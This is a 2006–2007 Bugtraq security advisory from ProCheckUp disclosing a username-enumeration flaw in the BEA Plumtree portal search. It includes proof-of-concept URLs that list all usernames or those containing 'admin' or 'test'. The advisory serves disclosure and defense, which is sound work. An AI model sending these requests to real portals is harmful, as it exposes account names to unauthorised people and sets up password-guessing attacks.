PR06-11: BEA Plumtree portal search facility leaks usernames to- unauthenticated users

From: research@procheckup.com
To: bugtraq@securityfocus.com
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Subject: PR06-11: BEA Plumtree portal search facility leaks usernames to- unauthenticated users
Date:


PR06-11: BEA Plumtree portal search facility leaks usernames to unauthenticated users

Description:

BEA Plumtree portal 6.0 is vulnerable to username leakage through the search facility.

By performing an advanced search, unauthenticated users can enumerate valid usernames with a single HTTP request. Wildcards are allowed in searches, which means that substrings can be used in order to target specific username types such as admin usernames and test usernames.

Note: this username enumeration weakness _doesn't_ require attackers to perform dictionary or bruteforce attacks in order to obtain usernames.

Date Found: 12th September 2006

Vendor contacted: 18th May 2007

Vulnerable: BEA Plumtree 5.0.2, 5.0.3, 5.0.4, 6.0.1.218452 and possibly other versions.

Severity: Medium

Authors: Adrian Pastor, Jan Fry and Richard Brain of ProCheckUp Ltd (www.procheckup.com)

ProCheckUp thanks BEA for working with us.

Proof of concept:

The following requests all usernames ('*' wildcard), showing a maximum of 100 usernames per page:

https://[hostname]/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*&in_hi_req_apps=1&control=advancedstart&in_hi_req_page=100&parentname=AdvancedSearch&in_ra_topoperator=and

The wildcard '*' character can also be combined in the 'in_tx_fulltext' parameter with strings.

The following request enumerates usernames that contain the substring 'admin' within them:

https://[hostname]/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*admin*&in_hi_req_apps=1&control=advancedstart&in_hi_req_page=100&parentname=AdvancedSearch&in_ra_topoperator=and

The following request enumerates usernames that contain the substring 'test' within them:

https://[hostname]/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*test*&in_hi_req_apps=1&control=advancedstart&in_hi_req_page=100&parentname=AdvancedSearch&in_ra_topoperator=and

Consequences:

Valid usernames can be easily enumerated by attackers. This includes usernames with administrative privileges on Plumtree portal. Considering that Plumtree portal setups don't enforce password complexity requirements, and many usernames are usually available, it is highly likely that an attacker can hijack accounts that use easy-to-guess passwords.

Fix: this has been addressed in AquaLogic Interaction 6.1. MP1. This can also be addressed by making config changes in ALUI 6.x versions.

References:

http://www.procheckup.com/Vulnerability_2007.php
http://dev2dev.bea.com/pub/advisory/254
http://www.plumtree.com/





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